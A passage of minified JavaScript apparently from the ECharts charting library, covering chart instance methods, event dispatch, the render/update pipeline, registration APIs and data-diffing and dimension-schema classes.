L(r,function(e){e.group.ignore=!1}),a},t.prototype.getConnectedDataURL=function(e){if(this._disposed){this.id;return}var t=e.type===`svg`,n=this.group,r=Math.min,i=Math.max,a=1/0;if(ZC[n]){var o=a,s=a,c=-a,l=-a,u=[],d=e&&e.pixelRatio||this.getDevicePixelRatio();L(XC,function(a,d){if(a.group===n){var f=t?a.getZr().painter.getSvgDom().innerHTML:a.renderToCanvas(P(e)),p=a.getDom().getBoundingClientRect();o=r(p.left,o),s=r(p.top,s),c=i(p.right,c),l=i(p.bottom,l),u.push({dom:f,left:p.left,top:p.top})}}),o*=d,s*=d,c*=d,l*=d;var f=c-o,p=l-s,m=Ve.createCanvas(),h=Jo(m,{renderer:t?`svg`:`canvas`});if(h.resize({width:f,height:p}),t){var g=``;return L(u,function(e){var t=e.left-o,n=e.top-s;g+=`<g transform="translate(`+t+`,`+n+`)">`+e.dom+`</g>`}),h.painter.getSvgRoot().innerHTML=g,e.connectedBackgroundColor&&h.painter.setBackgroundColor(e.connectedBackgroundColor),h.refreshImmediately(),h.painter.toDataURL()}else return e.connectedBackgroundColor&&h.add(new Lu({shape:{x:0,y:0,width:f,height:p},style:{fill:e.connectedBackgroundColor}})),L(u,function(e){var t=new ku({style:{x:e.left*d-o,y:e.top*d-s,image:e.dom}});h.add(t)}),h.refreshImmediately(),m.toDataURL(`image/`+(e&&e.type||`png`))}else return this.getDataURL(e)},t.prototype.convertToPixel=function(e,t,n){return wC(this,`convertToPixel`,e,t,n)},t.prototype.convertToLayout=function(e,t,n){return wC(this,`convertToLayout`,e,t,n)},t.prototype.convertFromPixel=function(e,t,n){return wC(this,`convertFromPixel`,e,t,n)},t.prototype.containPixel=function(e,t){if(this._disposed){this.id;return}var n=this._model,r;return L(cc(n,e),function(e,n){n.indexOf(`Models`)>=0&&L(e,function(e){var i=e.coordinateSystem;if(i&&i.containPoint)r||=!!i.containPoint(t);else if(n===`seriesModels`){var a=this._chartsMap[e.__viewId];a&&a.containPoint&&(r||=a.containPoint(t,e))}},this)},this),!!r},t.prototype.getVisual=function(e,t){var n=this._model,r=cc(n,e,{defaultMainType:`series`}),i=r.seriesModel.getData(),a=r.hasOwnProperty(`dataIndexInside`)?r.dataIndexInside:r.hasOwnProperty(`dataIndex`)?i.indexOfRawIndex(r.dataIndex):null;return a==null?Tx(i,t):Cx(i,a,t)},t.prototype.getViewOfComponentModel=function(e){return this._componentsMap[e.__viewId]},t.prototype.getViewOfSeriesModel=function(e){return this._chartsMap[e.__viewId]},t.prototype._initEvents=function(){var e=this;L(VC,function(t){var n=function(n){var r=e.getModel(),i=n.target,a;if(t===`globalout`?a={}:i&&Ax(i,function(e){var t=Z(e);if(t&&t.dataIndex!=null){var n=t.dataModel||r.getSeriesByIndex(t.seriesIndex);return a=n&&n.getDataParams(t.dataIndex,t.dataType,i)||{},!0}else if(t.eventData)return a=F({},t.eventData),!0},!0),a){var o=a.componentType,s=a.componentIndex;(o===`markLine`||o===`markPoint`||o===`markArea`)&&(o=`series`,s=a.seriesIndex);var c=o&&s!=null&&r.getComponent(o,s),l=c&&e[c.mainType===`series`?`_chartsMap`:`_componentsMap`][c.__viewId];a.event=n,a.type=t,e._$eventProcessor.eventInfo={targetEl:i,packedEvent:a,model:c,view:l},e.trigger(t,a)}};n.zrEventfulCallAtLast=!0,e._zr.on(t,n,e)});var t=this._messageCenter;L(WC,function(n,r){t.on(r,function(t){e.trigger(r,t)})}),kx(t,this,this._api)},t.prototype.isDisposed=function(){return this._disposed},t.prototype.clear=function(){if(this._disposed){this.id;return}this.setOption({series:[]},!0)},t.prototype.dispose=function(){if(this._disposed){this.id;return}this._disposed=!0,this.getDom()&&pc(this.getDom(),$C,``);var e=this,t=e._api,n=e._model;L(e._componentsViews,function(e){e.dispose(n,t)}),L(e._chartsViews,function(e){e.dispose(n,t)}),e._zr.dispose(),e._dom=e._model=e._chartsMap=e._componentsMap=e._chartsViews=e._componentsViews=e._scheduler=e._api=e._zr=e._throttledZrFlush=e._theme=e._coordSysMgr=e._messageCenter=null,delete XC[e.id]},t.prototype.resize=function(e){if(!this[oC]){if(this._disposed){this.id;return}this._zr.resize(e);var t=this._model;if(this._loadingFX&&this._loadingFX.resize(),t){var n=t.resetOption(`media`),r=e&&e.silent;this[cC]&&(r??=this[cC].silent,n=!0,this[cC]=null),this[oC]=!0,RC(this);try{n&&bC(this),CC.update.call(this,{type:`resize`,animation:F({duration:0},e&&e.animation)})}catch(e){throw this[oC]=!1,e}this[oC]=!1,DC.call(this,r),OC.call(this,r)}}},t.prototype.showLoading=function(e,t){if(this._disposed){this.id;return}if(U(e)&&(t=e,e=``),e||=`default`,this.hideLoading(),YC[e]){var n=YC[e](this._api,t),r=this._zr;this._loadingFX=n,r.add(n)}},t.prototype.hideLoading=function(){if(this._disposed){this.id;return}this._loadingFX&&this._zr.remove(this._loadingFX),this._loadingFX=null},t.prototype.makeActionFromEvent=function(e){var t=F({},e);return t.type=UC[e.type],t},t.prototype.dispatchAction=function(e,t){if(this._disposed){this.id;return}if(U(t)||(t={silent:!!t}),HC[e.type]&&this._model){if(this[oC]){this._pendingActions.push(e);return}var n=t.silent;EC.call(this,e,n);var r=t.flush;r?this._zr.flush():r!==!1&&Ne.browser.weChat&&this._throttledZrFlush(),DC.call(this,n),OC.call(this,n)}},t.prototype.updateLabelLayout=function(){IS.trigger(`series:layoutlabels`,this._model,this._api,{updatedSeries:[]})},t.prototype.appendData=function(e){if(this._disposed){this.id;return}var t=e.seriesIndex;this.getModel().getSeriesByIndex(t).appendData(e),this._scheduler.unfinished=!0,this.getZr().wakeUp()},t.internalField=function(){bC=function(e){var t=e._scheduler;t.restorePipelines(e._model),t.prepareStageTasks(),xC(e,!0),xC(e,!1),t.plan()},xC=function(e,t){for(var n=e._model,r=e._scheduler,i=t?e._componentsViews:e._chartsViews,a=t?e._componentsMap:e._chartsMap,o=e._zr,s=e._api,c=0;c<i.length;c++)i[c].__alive=!1;t?n.eachComponent(function(e,t){e!==`series`&&l(t)}):n.eachSeries(l);function l(e){var c=e.__requireNewView;e.__requireNewView=!1;var l=`_ec_`+e.id+`_`+e.type,u=!c&&a[l];if(!u){var d=Cc(e.type);u=new(t?Eb.getClass(d.main,d.sub):Ab.getClass(d.sub)),u.init(n,s),a[l]=u,i.push(u),o.add(u.group)}e.__viewId=u.__id=l,u.__alive=!0,u.__model=e,u.group.__ecComponentInfo={mainType:e.mainType,index:e.componentIndex},!t&&r.prepareView(u,e,n,s)}for(var c=0;c<i.length;){var u=i[c];u.__alive?c++:(!t&&u.renderTask.dispose(),o.remove(u.group),u.dispose(n,s),i.splice(c,1),a[u.__id]===u&&delete a[u.__id],u.__id=u.group.__ecComponentInfo=null)}},SC=function(e,t,n,r,i){var a=e._model;if(a.setUpdatePayload(n),!r){L([].concat(e._componentsViews,e._chartsViews),u);return}var o={};o[r+`Id`]=n[r+`Id`],o[r+`Index`]=n[r+`Index`],o[r+`Name`]=n[r+`Name`];var s={mainType:r,query:o};i&&(s.subType=i);var c=n.excludeSeriesId,l;c!=null&&(l=G(),L(Rs(c),function(e){var t=Qs(e,null);t!=null&&l.set(t,!0)})),a&&a.eachComponent(s,function(t){if(!(l&&l.get(t.id)!=null))if(uf(n))if(t instanceof _b)n.type===`highlight`&&!n.notBlur&&!t.get([`emphasis`,`disabled`])&&Wd(t,n,e._api);else{var r=Gd(t.mainType,t.componentIndex,n.name,e._api),i=r.focusSelf,a=r.dispatchers;n.type===`highlight`&&i&&!n.notBlur&&Ud(t.mainType,t.componentIndex,e._api),a&&L(a,function(e){n.type===`highlight`?Pd(e):Fd(e)})}else lf(n)&&t instanceof _b&&(Jd(t,n,e._api),Yd(t),IC(e))},e),a&&a.eachComponent(s,function(t){l&&l.get(t.id)!=null||u(e[r===`series`?`_chartsMap`:`_componentsMap`][t.__viewId])},e);function u(r){r&&r.__alive&&r[t]&&r[t](r.__model,a,e._api,n)}},CC={prepareAndUpdate:function(e){bC(this),CC.update.call(this,e,e&&{optionChanged:e.newOption!=null})},update:function(e,n){var r=this._model,i=this._api,a=this._zr,o=this._coordSysMgr,s=this._scheduler;if(r){r.setUpdatePayload(e),s.restoreData(r,e),s.performSeriesTasks(r),o.create(r,i),s.performDataProcessorTasks(r,e),TC(this,r),o.update(r,i),t(r),s.performVisualTasks(r,e);var c=r.get(`backgroundColor`)||`transparent`;a.setBackgroundColor(c);var l=r.get(`darkMode`);l!=null&&l!==`auto`&&a.setDarkMode(l),jC(this,r,i,e,n),IS.trigger(`afterupdate`,r,i)}},updateTransform:function(e){var n=this,r=this._model,i=this._api;if(r){r.setUpdatePayload(e);var a=[];r.eachComponent(function(t,o){if(t!==`series`){var s=n.getViewOfComponentModel(o);if(s&&s.__alive)if(s.updateTransform){var c=s.updateTransform(o,r,i,e);c&&c.update&&a.push(s)}else a.push(s)}});var o=G();r.eachSeries(function(t){var a=n._chartsMap[t.__viewId];if(a.updateTransform){var s=a.updateTransform(t,r,i,e);s&&s.update&&o.set(t.uid,1)}else o.set(t.uid,1)}),t(r),this._scheduler.performVisualTasks(r,e,{setDirty:!0,dirtyMap:o}),NC(this,r,i,e,{},o),IS.trigger(`afterupdate`,r,i)}},updateView:function(e){var n=this._model;n&&(n.setUpdatePayload(e),Ab.markUpdateMethod(e,`updateView`),t(n),this._scheduler.performVisualTasks(n,e,{setDirty:!0}),jC(this,n,this._api,e,{}),IS.trigger(`afterupdate`,n,this._api))},updateVisual:function(e){var n=this,r=this._model;r&&(r.setUpdatePayload(e),r.eachSeries(function(e){e.getData().clearAllVisual()}),Ab.markUpdateMethod(e,`updateVisual`),t(r),this._scheduler.performVisualTasks(r,e,{visualType:`visual`,setDirty:!0}),r.eachComponent(function(t,i){if(t!==`series`){var a=n.getViewOfComponentModel(i);a&&a.__alive&&a.updateVisual(i,r,n._api,e)}}),r.eachSeries(function(t){n._chartsMap[t.__viewId].updateVisual(t,r,n._api,e)}),IS.trigger(`afterupdate`,r,this._api))},updateLayout:function(e){CC.update.call(this,e)}};function e(e,t,n,r,i){if(e._disposed){e.id;return}for(var a=e._model,o=e._coordSysMgr.getCoordinateSystems(),s,c=cc(a,n),l=0;l<o.length;l++){var u=o[l];if(u[t]&&(s=u[t](a,c,r,i))!=null)return s}}wC=e,TC=function(e,t){var n=e._chartsMap,r=e._scheduler;t.eachSeries(function(e){r.updateStreamModes(e,n[e.__viewId])})},EC=function(e,t){var n=this,r=this.getModel(),i=e.type,a=e.escapeConnect,o=HC[i],s=(o.update||`update`).split(`:`),c=s.pop(),l=s[0]!=null&&Cc(s[0]);this[oC]=!0,RC(this);var u=[e],d=!1;e.batch&&(d=!0,u=R(e.batch,function(t){return t=I(F({},t),e),t.batch=null,t}));var f=[],p,m=[],h=o.nonRefinedEventType,g=lf(e),_=uf(e);if(_&&Vd(this._api),L(u,function(t){var i=o.action(t,r,n._api);if(o.refineEvent?m.push(i):p=i,p||=F({},t),p.type=h,f.push(p),_){var a=lc(e),s=a.queryOptionMap,u=a.mainTypeSpecified?s.keys()[0]:`series`;SC(n,c,t,u),IC(n)}else g?(SC(n,c,t,`series`),IC(n)):l&&SC(n,c,t,l.main,l.sub)}),c!==`none`&&!_&&!g&&!l)try{this[cC]?(bC(this),CC.update.call(this,e),this[cC]=null):CC[c].call(this,e)}catch(e){throw this[oC]=!1,e}if(p=d?{type:h,escapeConnect:a,batch:f}:f[0],this[oC]=!1,!t){var v=void 0;if(o.refineEvent){var y=o.refineEvent(m,e,r,this._api).eventContent;Dt(U(y)),v=I({type:o.refinedEventType},y),v.fromAction=e.type,v.fromActionPayload=e,v.escapeConnect=!0}var b=this._messageCenter;b.trigger(p.type,p),v&&b.trigger(v.type,v)}},DC=function(e){for(var t=this._pendingActions;t.length;){var n=t.shift();EC.call(this,n,e)}},OC=function(e){!e&&this.trigger(`updated`)},kC=function(e,t){e.on(`rendered`,function(n){t.trigger(`rendered`,n),e.animation.isFinished()&&!t[cC]&&!t._scheduler.unfinished&&!t._pendingActions.length&&t.trigger(`finished`)})},AC=function(e,t){e.on(`mouseover`,function(e){var n=e.target,r=Ax(n,of);r&&(Kd(r,e,t._api),IC(t))}).on(`mouseout`,function(e){var n=e.target,r=Ax(n,of);r&&(qd(r,e,t._api),IC(t))}).on(`click`,function(e){var n=e.target,r=Ax(n,function(e){return Z(e).dataIndex!=null},!0);if(r){var i=r.selected?`unselect`:`select`,a=Z(r);t._api.dispatchAction({type:i,dataType:a.dataType,dataIndexInside:a.dataIndex,seriesIndex:a.seriesIndex,isFromClick:!0})}})};function t(e){e.clearColorPalette(),e.eachSeries(function(e){e.clearColorPalette()})}function n(e){var t=[],n=[],r=!1;if(e.eachComponent(function(e,i){var a=i.get(`zlevel`)||0,o=i.get(`z`)||0,s=i.getZLevelKey();r||=!!s,(e===`series`?n:t).push({zlevel:a,z:o,idx:i.componentIndex,type:e,key:s})}),r){var i=t.concat(n),a,o;Mr(i,function(e,t){return e.zlevel===t.zlevel?e.z-t.z:e.zlevel-t.zlevel}),L(i,function(t){var n=e.getComponent(t.type,t.idx),r=t.zlevel,i=t.key;a!=null&&(r=Math.max(a,r)),i?(r===a&&i!==o&&r++,o=i):o&&=(r===a&&r++,``),a=r,n.setZLevel(r)})}}jC=function(e,t,r,i,a){n(t),MC(e,t,r,i,a),L(e._chartsViews,function(e){e.__alive=!1}),NC(e,t,r,i,a),L(e._chartsViews,function(e){e.__alive||e.remove(t,r)})},MC=function(e,t,n,r,i,a){L(a||e._componentsViews,function(e){var i=e.__model;s(i,e),e.render(i,t,n,r),o(i,e),c(i,e)})},NC=function(e,t,n,r,l,u){var d=e._scheduler;l=F(l||{},{updatedSeries:t.getSeries()}),IS.trigger(`series:beforeupdate`,t,n,l);var f=!1;t.eachSeries(function(t){var n=e._chartsMap[t.__viewId];n.__alive=!0;var i=n.renderTask;d.updatePayload(i,r),s(t,n),u&&u.get(t.uid)&&i.dirty(),i.perform(d.getPerformArgs(i))&&(f=!0),n.group.silent=!!t.get(`silent`),a(t,n),Yd(t)}),d.unfinished=f||d.unfinished,IS.trigger(`series:layoutlabels`,t,n,l),IS.trigger(`series:transition`,t,n,l),t.eachSeries(function(t){var n=e._chartsMap[t.__viewId];o(t,n),c(t,n)}),i(e,t),IS.trigger(`series:afterupdate`,t,n,l)},IC=function(e){e[lC]=!0,e.getZr().wakeUp()},RC=function(e){e[sC]=(e[sC]+1)%1e3},LC=function(e){e[lC]&&(e.getZr().storage.traverse(function(e){zp(e)||r(e)}),e[lC]=!1)};function r(e){for(var t=[],n=e.currentStates,r=0;r<n.length;r++){var i=n[r];i===`emphasis`||i===`blur`||i===`select`||t.push(i)}e.selected&&e.states.select&&t.push(`select`),e.hoverState===2&&e.states.emphasis?t.push(`emphasis`):e.hoverState===1&&e.states.blur&&t.push(`blur`),e.useStates(t)}function i(e,t){var n=e._zr.storage,r=0;n.traverse(function(e){e.isGroup||r++}),r>t.get(`hoverLayerThreshold`)&&!Ne.node&&!Ne.worker&&t.eachSeries(function(t){if(!t.preventUsingHoverLayer){var n=e._chartsMap[t.__viewId];n.__alive&&n.eachRendered(function(e){e.states.emphasis&&(e.states.emphasis.hoverLayer=!0)})}})}function a(e,t){var n=e.get(`blendMode`)||null;t.eachRendered(function(e){e.isGroup||(e.style.blend=n)})}function o(e,t){if(!e.preventAutoZ){var n=jm(e);t.eachRendered(function(e){return Nm(e,n.z,n.zlevel),!0})}}function s(e,t){t.eachRendered(function(e){if(!zp(e)){var t=e.getTextContent(),n=e.getTextGuideLine();e.stateTransition&&=null,t&&t.stateTransition&&(t.stateTransition=null),n&&n.stateTransition&&(n.stateTransition=null),e.hasState()?(e.prevStates=e.currentStates,e.clearStates()):e.prevStates&&=null}})}function c(e,t){var n=e.getModel(`stateAnimation`),i=e.isAnimationEnabled(),a=n.get(`duration`),o=a>0?{duration:a,delay:n.get(`delay`),easing:n.get(`easing`)}:null;t.eachRendered(function(e){if(e.states&&e.states.emphasis){if(zp(e))return;if(e instanceof Cu&&df(e),e.__dirty){var t=e.prevStates;t&&e.useStates(t)}if(i){e.stateTransition=o;var n=e.getTextContent(),a=e.getTextGuideLine();n&&(n.stateTransition=o),a&&(a.stateTransition=o)}e.__dirty&&r(e)}})}PC=function(e){return new(function(t){N(n,t);function n(){return t!==null&&t.apply(this,arguments)||this}return n.prototype.getCoordinateSystems=function(){return e._coordSysMgr.getCoordinateSystems()},n.prototype.getComponentByElement=function(t){for(;t;){var n=t.__ecComponentInfo;if(n!=null)return e._model.getComponent(n.mainType,n.index);t=t.parent}},n.prototype.enterEmphasis=function(t,n){Pd(t,n),IC(e)},n.prototype.leaveEmphasis=function(t,n){Fd(t,n),IC(e)},n.prototype.enterBlur=function(t){Id(t),IC(e)},n.prototype.leaveBlur=function(t){Ld(t),IC(e)},n.prototype.enterSelect=function(t){Rd(t),IC(e)},n.prototype.leaveSelect=function(t){zd(t),IC(e)},n.prototype.getModel=function(){return e.getModel()},n.prototype.getViewOfComponentModel=function(t){return e.getViewOfComponentModel(t)},n.prototype.getViewOfSeriesModel=function(t){return e.getViewOfSeriesModel(t)},n.prototype.getMainProcessVersion=function(){return e[sC]},n}(Y_))(e)},FC=function(e){function t(e,t){for(var n=0;n<e.length;n++){var r=e[n];r[dC]=t}}L(UC,function(n,r){e._messageCenter.on(r,function(n){if(ZC[e.group]&&e[dC]!==fC){if(n&&n.escapeConnect)return;var r=e.makeActionFromEvent(n),i=[];L(XC,function(t){t!==e&&t.group===e.group&&i.push(t)}),t(i,fC),L(i,function(e){e[dC]!==pC&&e.dispatchAction(r)}),t(i,mC)}})})}}(),t}(ln),BC=zC.prototype;BC.on=hC(`on`),BC.off=hC(`off`),BC.one=function(e,t,n){var r=this;function i(){for(var n=[],a=0;a<arguments.length;a++)n[a]=arguments[a];t&&t.apply&&t.apply(this,n),r.off(e,i)}this.on.call(this,e,i,n)};var VC=[`click`,`dblclick`,`mouseover`,`mouseout`,`mousemove`,`mousedown`,`mouseup`,`globalout`,`contextmenu`],HC={},UC={},WC={},GC=[],KC=[],qC=[],JC={},YC={},XC={},ZC={},QC=new Date-0;new Date-0;var $C=`_echarts_instance_`;function ew(e,t,n){var r=!(n&&n.ssr);if(r){var i=tw(e);if(i)return i}var a=new zC(e,t,n);return a.id=`ec_`+ QC++,XC[a.id]=a,r&&pc(e,$C,a.id),FC(a),IS.trigger(`afterinit`,a),a}function tw(e){return XC[mc(e,$C)]}function nw(e,t){JC[e]=t}function rw(e){it(KC,e)<0&&KC.push(e)}function iw(e,t){pw(GC,e,t,qS)}function aw(e){sw(`afterinit`,e)}function ow(e){sw(`afterupdate`,e)}function sw(e,t){IS.on(e,t)}function cw(e,t,n){var r,i,a,o,s;V(t)&&(n=t,t=``),U(e)?(r=e.type,i=e.event,o=e.update,s=e.publishNonRefinedEvent,n||=e.action,a=e.refineEvent):(r=e,i=t);function c(e){return e.toLowerCase()}i=c(i||r);var l=a?c(r):i;HC[r]||(Dt(uC.test(r)&&uC.test(i)),a&&Dt(i!==r),HC[r]={actionType:r,refinedEventType:i,nonRefinedEventType:l,update:o,action:n,refineEvent:a},WC[i]=1,a&&s&&(WC[l]=1),UC[l]=r)}function lw(e,t){Tg.register(e,t)}function uw(e,t){pw(qC,e,t,YS,`layout`)}function dw(e,t){pw(qC,e,t,QS,`visual`)}var fw=[];function pw(e,t,n,r,i){if((V(t)||U(t))&&(n=t,t=r),!(it(fw,n)>=0)){fw.push(n);var a=$b.wrapStageHandler(n,i);a.__prio=t,a.__raw=n,e.push(a)}}function mw(e,t){YC[e]=t}function hw(e,t,n){var r=zS(`registerMap`);r&&r(e,t,n)}var gw=Ty;dw(ZS,qb),dw(eC,Yb),dw(eC,Xb),dw(ZS,xx),dw(eC,Sx),dw(iC,FS),rw(Tv),iw(GS,Ev),mw(`default`,Qb),cw({type:ld,event:ld,update:ld},zt),cw({type:ud,event:ud,update:ud},zt),cw({type:dd,event:md,update:dd,action:zt,refineEvent:_w,publishNonRefinedEvent:!0}),cw({type:fd,event:md,update:fd,action:zt,refineEvent:_w,publishNonRefinedEvent:!0}),cw({type:pd,event:md,update:pd,action:zt,refineEvent:_w,publishNonRefinedEvent:!0});function _w(e,t,n,r){return{eventContent:{selected:Xd(n),isFromClick:t.isFromClick||!1}}}nw(`default`,{}),nw(`dark`,_x);var vw=[],yw={registerPreprocessor:rw,registerProcessor:iw,registerPostInit:aw,registerPostUpdate:ow,registerUpdateLifecycle:sw,registerAction:cw,registerCoordinateSystem:lw,registerLayout:uw,registerVisual:dw,registerTransform:gw,registerLoading:mw,registerMap:hw,registerImpl:RS,PRIORITY:aC,ComponentModel:e_,ComponentView:Eb,SeriesModel:_b,ChartView:Ab,registerComponentModel:function(e){e_.registerClass(e)},registerComponentView:function(e){Eb.registerClass(e)},registerSeriesModel:function(e){_b.registerClass(e)},registerChartView:function(e){Ab.registerClass(e)},registerCustomSeries:function(e,t){VS(e,t)},registerSubTypeDefaulter:function(e,t){e_.registerSubTypeDefaulter(e,t)},registerPainter:function(e,t){Yo(e,t)}};function bw(e){if(B(e)){L(e,function(e){bw(e)});return}it(vw,e)>=0||(vw.push(e),V(e)&&(e={install:e}),e.install(yw))}function xw(e){return e==null?0:e.length||1}function Sw(e){return e}var Cw=function(){function e(e,t,n,r,i,a){this._old=e,this._new=t,this._oldKeyGetter=n||Sw,this._newKeyGetter=r||Sw,this.context=i,this._diffModeMultiple=a===`multiple`}return e.prototype.add=function(e){return this._add=e,this},e.prototype.update=function(e){return this._update=e,this},e.prototype.updateManyToOne=function(e){return this._updateManyToOne=e,this},e.prototype.updateOneToMany=function(e){return this._updateOneToMany=e,this},e.prototype.updateManyToMany=function(e){return this._updateManyToMany=e,this},e.prototype.remove=function(e){return this._remove=e,this},e.prototype.execute=function(){this[this._diffModeMultiple?`_executeMultiple`:`_executeOneToOne`]()},e.prototype._executeOneToOne=function(){var e=this._old,t=this._new,n={},r=Array(e.length),i=Array(t.length);this._initIndexMap(e,null,r,`_oldKeyGetter`),this._initIndexMap(t,n,i,`_newKeyGetter`);for(var a=0;a<e.length;a++){var o=r[a],s=n[o],c=xw(s);if(c>1){var l=s.shift();s.length===1&&(n[o]=s[0]),this._update&&this._update(l,a)}else c===1?(n[o]=null,this._update&&this._update(s,a)):this._remove&&this._remove(a)}this._performRestAdd(i,n)},e.prototype._executeMultiple=function(){var e=this._old,t=this._new,n={},r={},i=[],a=[];this._initIndexMap(e,n,i,`_oldKeyGetter`),this._initIndexMap(t,r,a,`_newKeyGetter`);for(var o=0;o<i.length;o++){var s=i[o],c=n[s],l=r[s],u=xw(c),d=xw(l);if(u>1&&d===1)this._updateManyToOne&&this._updateManyToOne(l,c),r[s]=null;else if(u===1&&d>1)this._updateOneToMany&&this._updateOneToMany(l,c),r[s]=null;else if(u===1&&d===1)this._update&&this._update(l,c),r[s]=null;else if(u>1&&d>1)this._updateManyToMany&&this._updateManyToMany(l,c),r[s]=null;else if(u>1)for(var f=0;f<u;f++)this._remove&&this._remove(c[f]);else this._remove&&this._remove(c)}this._performRestAdd(a,r)},e.prototype._performRestAdd=function(e,t){for(var n=0;n<e.length;n++){var r=e[n],i=t[r],a=xw(i);if(a>1)for(var o=0;o<a;o++)this._add&&this._add(i[o]);else a===1&&this._add&&this._add(i);t[r]=null}},e.prototype._initIndexMap=function(e,t,n,r){for(var i=this._diffModeMultiple,a=0;a<e.length;a++){var o=`_ec_`+this[r](e[a],a);if(i||(n[a]=o),t){var s=t[o],c=xw(s);c===0?(t[o]=a,i&&n.push(o)):c===1?t[o]=[s,a]:s.push(a)}}},e}(),ww=function(){function e(e,t){this._encode=e,this._schema=t}return e.prototype.get=function(){return{fullDimensions:this._getFullDimensionNames(),encode:this._encode}},e.prototype._getFullDimensionNames=function(){return this._cachedDimNames||=this._schema?this._schema.makeOutputDimensionNames():[],this._cachedDimNames},e}();function Tw(e,t){var n={},r=n.encode={},i=G(),a=[],o=[],s={};L(e.dimensions,function(t){var n=e.getDimensionInfo(t),c=n.coordDim;if(c){var l=n.coordDimIndex;Ew(r,c)[l]=t,n.isExtraCoord||(i.set(c,1),Ow(n.type)&&(a[0]=t),Ew(s,c)[l]=e.getDimensionIndex(n.name)),n.defaultTooltip&&o.push(t)}u_.each(function(e,t){var i=Ew(r,t),a=n.otherDims[t];a!=null&&a!==!1&&(i[a]=n.name)})});var c=[],l={};i.each(function(e,t){var n=r[t];l[t]=n[0],c=c.concat(n)}),n.dataDimsOnCoord=c,n.dataDimIndicesOnCoord=R(c,function(t){return e.getDimensionInfo(t).storeDimIndex}),n.encodeFirstDimNotExtra=l;var u=r.label;u&&u.length&&(a=u.slice());var d=r.tooltip;return d&&d.length?o=d.slice():o.length||(o=a.slice()),r.defaultedLabel=a,r.defaultedTooltip=o,n.userOutput=new ww(s,t),n}function Ew(e,t){return e.hasOwnProperty(t)||(e[t]=[]),e[t]}function Dw(e){return e===`category`?`ordinal`:e===`time`?`time`:`float`}function Ow(e){return!(e===`ordinal`||e===`time`)}var kw=function(){function e(e){this.otherDims={},e!=null&&F(this,e)}return e}(),Aw=oc(),jw={float:`f`,int:`i`,ordinal:`o`,number:`n`,time:`t`},Mw=function(){function e(e){this.dimensions=e.dimensions,this._dimOmitted=e.dimensionOmitted,this.source=e.source,this._fullDimCount=e.fullDimensionCount,this._updateDimOmitted(e.dimensionOmitted)}return e.prototype.isDimensionOmitted=function(){return this._dimOmitted},e.prototype._updateDimOmitted=function(e){this._dimOmitted=e,e&&(this._dimNameMap||=Fw(this.source))},e.prototype.getSourceDimensionIndex=function(e){return W(this._dimNameMap.get(e),-1)},e.prototype.getSourceDimension=function(e){var t=this.source.dimensionsDefine;if(t)return t[e]},e.prototype.makeStoreSchema=function(){for(var e=this._fullDimCount,t=Rv(this.source),n=!Iw(e),r=``,i=[],a=0,o=0;a<e;a++){var s=void 0,c=void 0,l=void 0,u=this.dimensions[o];if(u&&u.storeDimIndex===a)s=t?u.name:null,c=u.type,l=u.ordinalMeta,o++;else{var d=this.getSourceDimension(a);d&&(s=t?d.name:null,c=d.type)}i.push({property:s,type:c,ordinalMeta:l}),t&&s!=null&&(!u||!u.isCalculationCoord)&&(r+=n?s.replace(/\`/g,"`1").replace(/\$/g,"`2"):s),r+=`$`,r+=jw[c]||`f`,l&&(r+=l.uid),r+=`$`}var f=this.source;return{dimensions:i,hash:[f.seriesLayoutBy,f.startIndex,r].join(`$$`)}},e.prototype.makeOutputDimensionNames=function(){for(var e=[],t=0,n=0;t<this._fullDimCount;t++){var r=void 0,i=this.dimensions[n];if(i&&i.storeDimIndex===t)i.isCalculationCoord||(r=i.name),n++;else{var a=this.getSourceDimension(t);a&&(r=a.name)}e.push(r)}return e},e.prototype.appendCalculationDimension=function(e){this.dimensions.push(e),e.isCalculationCoord=!0,this._fullDimCount++,this._updateDimOmitted(!0)},e}();function Nw(e){return e instanceof Mw}function Pw(e){for(var t=G(),n=0;n<(e||[]).length;n++){var r=e[n],i=U(r)?r.name:r;i!=null&&t.get(i)==null&&t.set(i,n)}return t}function Fw(e){var t=Aw(e);return t.dimNameMap||=Pw(e.dimensionsDefine)}function Iw(e){return e>30}var Lw=U,Rw=R,zw=typeof Int32Array>`u`?Array:Int32Array,Bw=`e\0\0`,Vw=-1,Hw=[`hasItemOption`,`_nameList`,`_idList`,`_invertedIndicesMap`,`_dimSummary`,`userOutput`,`_rawData`,`_dimValueGetter`,`_nameDimIdx`,`_idDimIdx`,`_nameRepeatCount`],Uw=[`_approximateExtent`],Ww,Gw,Kw,qw,Jw,Yw,Xw,Zw=function(){function e(e,t){this.type=`list`,this._dimOmitted=!1,this._nameList=[],this._idList=[],this._visual={},this._layout={},this._itemVisuals=[],this._itemLayouts=[],this._graphicEls=[],this._approximateExtent={},this._calculationInfo={},this.hasItemOption=!1,this.TRANSFERABLE_METHODS=[`cloneShallow`,`downSample`,`minmaxDownSample`,`lttbDownSample`,`map`],this.CHANGABLE_METHODS=[`filterSelf`,`selectRange`],this.DOWNSAMPLE_METHODS=[`downSample`,`minmaxDownSample`,`lttbDownSample`];var n,r=!1;Nw(e)?(n=e.dimensions,this._dimOmitted=e.isDimensionOmitted(),this._schema=e):(r=!0,n=e),n||=[`x`,`y`];for(var i={},a=[],o={},s=!1,c={},l=0;l<n.length;l++){var u=n[l],d=H(u)?new kw({name:u}):u instanceof kw?u:new kw(u),f=d.name;d.type=d.type||`float`,d.coordDim||(d.coordDim=f,d.coordDimIndex=0);var p=d.otherDims=d.otherDims||{};a.push(f),i[f]=d,c[f]!=null&&(s=!0),d.createInvertedIndices&&(o[f]=[]);var m=l;ht(d.storeDimIndex)&&(m=d.storeDimIndex),p.itemName===0&&(this._nameDimIdx=m),p.itemId===0&&(this._idDimIdx=m),r&&(d.storeDimIndex=l)}if(this.dimensions=a,this._dimInfos=i,this._initGetDimensionInfo(s),this.hostModel=t,this._invertedIndicesMap=o,this._dimOmitted){var h=this._dimIdxToName=G();L(a,function(e){h.set(i[e].storeDimIndex,e)})}}return e.prototype.getDimension=function(e){var t=this._recognizeDimIndex(e);if(t==null)return e;if(t=e,!this._dimOmitted)return this.dimensions[t];var n=this._dimIdxToName.get(t);if(n!=null)return n;var r=this._schema.getSourceDimension(t);if(r)return r.name},e.prototype.getDimensionIndex=function(e){var t=this._recognizeDimIndex(e);if(t!=null)return t;if(e==null)return-1;var n=this._getDimInfo(e);return n?n.storeDimIndex:this._dimOmitted?this._schema.getSourceDimensionIndex(e):-1},e.prototype._recognizeDimIndex=function(e){if(ht(e)||e!=null&&!isNaN(e)&&!this._getDimInfo(e)&&(!this._dimOmitted||this._schema.getSourceDimensionIndex(e)<0))return+e},e.prototype._getStoreDimIndex=function(e){return 